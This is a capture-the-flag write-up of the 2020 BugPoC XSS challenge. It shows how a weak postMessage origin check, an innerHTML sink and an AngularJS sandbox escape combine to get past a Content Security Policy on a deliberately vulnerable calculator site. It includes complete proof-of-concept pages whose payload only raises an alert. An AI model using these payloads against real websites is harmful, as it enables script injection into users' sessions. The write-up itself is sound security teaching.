BOOK THIS SPACE FOR AD
ARTICLE ADThis is a write-up of BugPoC XSS Challenge, which started on August 8th, 2020 and ended on August 11th, 2020. It is about misconfigured Postmessage receiver and Content Security Policy bypass via AngularJS sandbox escaping.
Firstly, despite of my hours spent looking for a solution, I would like to thank BugPoC for the experience and fun I got.
Well, let’s take a look at the rules of the game:
Rules:
You must pop an alert(domain) showing calc.buggywebsite.comYou must bypass CSPIt must be reproducible using the latest version of ChromeYou must provide a working proof-of-concept on bugpoc.comI can divide the exploitation into three steps:
Postmessage event origin check bypassContent Security Policy bypassUsing toString() method to avoid resctricted ‘ and &1. Postmessage event origin check bypass
On the website you see a Calc application.
After quickly looking under the hood, it is clear that calculation is processed in AngularJS module and rendered in iframe using Cross Domain Messaging (PostMessage).
<iframe name="theiframe" style="height:65px;width:100%; left:-100px; margin-top:-05px;margin-bottom:-30px;" frameBorder="0" src="frame.html"></iframe>The frame.html content:
<html><head>
<meta charset="UTF-8">
<meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' 'self'; object-src 'none'">
<link href='https://fonts.googleapis.com/css?family=Ubuntu:400,700' rel='stylesheet' type='text/css'>
<script src="frame.js"></script>
<style>
html {
clear: both;
font-family: digital;
font-size: 24px;
text-align: right;
letter-spacing: 5px;
font-family: 'Ubuntu', sans-serif;
overflow: hidden;
}
</style>
<title></title>
</head>
<body>
0
</body>
</html>
Here you see that frame.js with the following content is loaded:
window.addEventListener("message", receiveMessage, false);function receiveMessage(event) {// verify sender is trustedif (!/^http:\/\/calc.buggywebsite.com/.test(event.origin)) {
return
}
// display message
msg = event.data;
if (msg == 'off') {
document.body.style.color = '#95A799';
} else if (msg == 'on') {
document.body.style.color = 'black';
} else if (!msg.includes("'") && !msg.includes("&")) {
document.body.innerHTML=msg;
}
}
In the script there is a condition that checks event origin, but the regular expression is weak (the . character is not escaped and there is no $ at the end of the domain name). To bypass this check, you can use your own subdomain containing calc.buggywebsite.com or register a new domain, e.g. calcxbuggywebsite.com.
A message event is added to iframe using innerHTML. Thus, you can inject any malicious html with some restrictions of ‘ and & characters. Also, remember that the innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. So, try to inject <img src=x onerror=alert()> payload.
Initially, you have to create a malicious HTML-page (PoC) that will open the vulnerable page in an iframe and postMessage to the iframe.
<html><body>
<iframe id='myiframe' onload="hack()" src='http://calc.buggywebsite.com/frame.html' width="500" height="500"></iframe>
<script>
function hack() {
setTimeout(function() {
var ifr = window.frames.myiframe;
ifr.contentWindow.postMessage('<img src=x onerror=alert()>', '*');
}, 1000);
}
</script>
</body>
</html>
For demonstrating, I use BugPoC Frontend, which perfectly tests this vulnerability by allowing you to create a custom URL with any required subdomain (I used calcxbuggywebsitexcom.web.bugpoc.ninja) and also has a PoC Wizard for PostMessage attack. Now, host this page on the BugPoC Frontend Wizard and click Test.
But you came across an obstacle. You have to bypass Content Security Policy (CSP) on the frame.html page, as mentioned in the rules.
2. CSP Bypass
The frame.html page contains Content Security Policy directives in meta tag:
<meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' 'self'; object-src 'none'">The policy is made up of two directives separated with a semicolon ;.
script-src directive specifies valid sources for JavaScript.
object-src directive specifies valid sources for the <object>, <embed>, and <applet> elements.
All directives ending with -src support similar values known as a source list.
‘none’ prevents loading resources from any source
‘unsafe-eval’ allows unsafe dynamic code evaluation such as JavaScript eval()
‘self’ allows loading resources from the same origin (same scheme, host and port).
Thus, unfortunately, you cannot use inline and remote scripts.
Since the website has an angular.min.js script, this suggest loading it to the iframe for furthter using. But how to manage it?
After some googling and chatting with folks, I found this way:
<iframe srcdoc="<script/src=angular.min.js></script>"></iframe>srcdoc attribute specifies an inline HTML to embed, overriding the src attribute.
The PoC will look like:
<html><body>
<iframe id='myiframe' onload="hack()" src='http://calc.buggywebsite.com/frame.html' width="500" height="500"></iframe>
<script>
function hack() {
setTimeout(function() {
var ifr = window.frames.myiframe;
ifr.contentWindow.postMessage('<iframe srcdoc="<script/src=angular.min.js><\/script>"></iframe>', '*');
}, 1000);
}
</script>
</body>
</html>
And it works, angular.min.js is loaded!
Okay, we found a way to load the angular.min.js. What else?
The application uses AngularJS 1.5.6. Thus, you have to find a working PoC for sandbox escaping in this version. Thanks to Portswigger’s XSS cheat sheet, you have the following:
3. Using toString() method to avoid resctricted ` and &
However, as mentioned above, ‘ and & characters cannot be used. Fortunately, you can use toString() and String.fromCharCode() methods. So by replacing strings this way, the final PoC looks like this:
<html><body>
<iframe id='myiframe' onload="hack()" src='http://calc.buggywebsite.com/frame.html' width="500" height="500"></iframe>
<script>
function hack() {
setTimeout(function() {
var ifr = window.frames.myiframe;
ifr.contentWindow.postMessage('<iframe srcdoc="<script src=angular.min.js><\/script><div ng-app>{{x={y:toString().constructor.fromCharCode(0).constructor.prototype};x[toString().constructor.fromCharCode(121)].charAt=[].join;$eval(toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41));}}</div>"></iframe>', '*');
}, 1000);
}
</script>
</body>
</html>
Past this PoC to the BugPoC Frontend and click Test again.
Yeah! Finally, you fulfilled all but the last rule.
Now, just click Publish on the BugPoC Frontend Wizard and enjoy your working PoC.
You can check my one here https://bugpoc.com/poc#bp-gTfN5bdG.
BugPoC ID: bp-gTfN5bdG
Password:WispYPLUm97
Thanks for your attention!